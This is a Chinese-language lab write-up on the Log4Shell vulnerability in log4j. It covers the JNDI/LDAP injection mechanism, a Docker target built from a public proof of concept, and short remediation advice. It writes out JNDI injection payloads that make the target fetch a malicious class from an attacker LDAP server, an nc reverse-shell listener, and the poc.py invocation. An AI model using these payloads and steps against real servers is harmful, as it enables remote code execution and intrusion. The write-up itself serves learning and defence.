漏洞概述
记录本次log4j可以远程命令执行的漏洞。
-
CVE-2021-44228(log4shell):受影响版本:2.0-beta9(2013年9月发布)-2.14.1(2021年3月发布)
-
CVE-2021-45046:受影响版本: 2.0-beta9 to 2.15.0, excluding 2.12.2
log4j是一款基于java的日志工具,是Apache logging server的一部分,是使用非常广泛的一种java日志框架,所以受影响范围极广。
漏洞原理
本次漏洞主要涉及:LADP和JNDI。其中JNDI(java naming and directory interface)是底层api接口,为java程序提供命名和目录管理功能。java程序可以通过JNDI来访问LDAP服务。
调用代码格式: ${jndi:logging/context-name}
通过构造恶意代码,让服务器执行后访问攻击者的恶意LDAP服务器,然后下载执行具有恶意代码的类文件,实现远程命令执行,如建立回连shell。
恶意代码格式:${jndi:ldap://<host>:<port>/<payload>}
漏洞利用
漏洞利用条件
命令执行利用条件:除了log4j需要在受影响版本外,貌似还要java版本合适,java版本要求在于下面这个参数需设置为true,高版本默认false。
-
Dcom.sun.jndi.ldap.object.trustURLCodebase=true
漏洞利用步骤
搭建实验环境
靶机设置的漏洞利用点在username位置。
git clone https://github.com/kozmer/log4j-shell-poc.git
# 下载靶机环境
cd log4j-shell-poc
docker build -t log4j-shell-poc .
docker run --network host log4j-shell-poc
# 建立实验docker环境
利用过程
-
下载漏洞利用poc
-
下载所需版本的java包,下载地址:Index of java-local/jdk/8u202-b08 (huaweicloud.com)
# 第一步,下载poc.py
git clone https://github.com/kozmer/log4j-shell-poc.git
# 在kali中git到本地,其中有个poc.py,就是漏洞利用的脚本
# 第二步,下载java包
tar -xf jdk-8u202-linux-x64.tar.gz
mv jdk-8u202 /usr/bin
# 将下载的java包解压,并移动到/usr/bin
# 第三步,修改poc.py脚本
# 编辑poc.py文件,将./jdk1.8.0_202/bin/java的参数全部替换为/usr/bin/jdk1.8.0_202/bin/java。
# 这里替换的路径就是第二步java包所在路径。
# 第四步,get shell
nc -nlvp 9001
# 本地开启监听
python3 poc.py --userip 192.168.128.120 --webport 8000 --lport 9001
# 执行poc文件
# --userip,指定kali的ip
# --webport,指定kali http服务的端口
# --lport,指定本地正在监听的回连端口
# 第五步,发送恶意代码
${jndi:ldap://192.168.29.163:1389/a}
# 脚本执行完会有提示,将以上内容发送给服务器。发送方式:浏览器访问靶机,并在username位置输入恶意代码。
# 建立shell连接。
看了下代码,几个关键内容:
-
运行poc.py脚本后,根据传入的参数,生成Exploit.class,可以看generate_payload()和Exploit.java文件。
-
运行脚本后,会在本地启用ldap和http服务,用于靶机的回连。
-
根据靶机源代码注释,有问题的参数只设置了username部分,可以看LoginServlet.java文件。
漏洞测试思路
-
构建恶意代码:${jndi:ldap://n4erb9.dnslog.cn/exp},看dnslog.cn是否有收到请求记录,初步判断是否存在漏洞。
-
再定制恶意类文件,构造连接到攻击机的恶意代码,执行远程连接。
漏洞防护
官方给出了响应的修复建议:Log4j – Apache Log4j Security Vulnerabilities
防护总结来讲:要么升级到修复的版本,要么禁用JndiLookup.class。
参考连接
本次实验环境参考:
其他参考: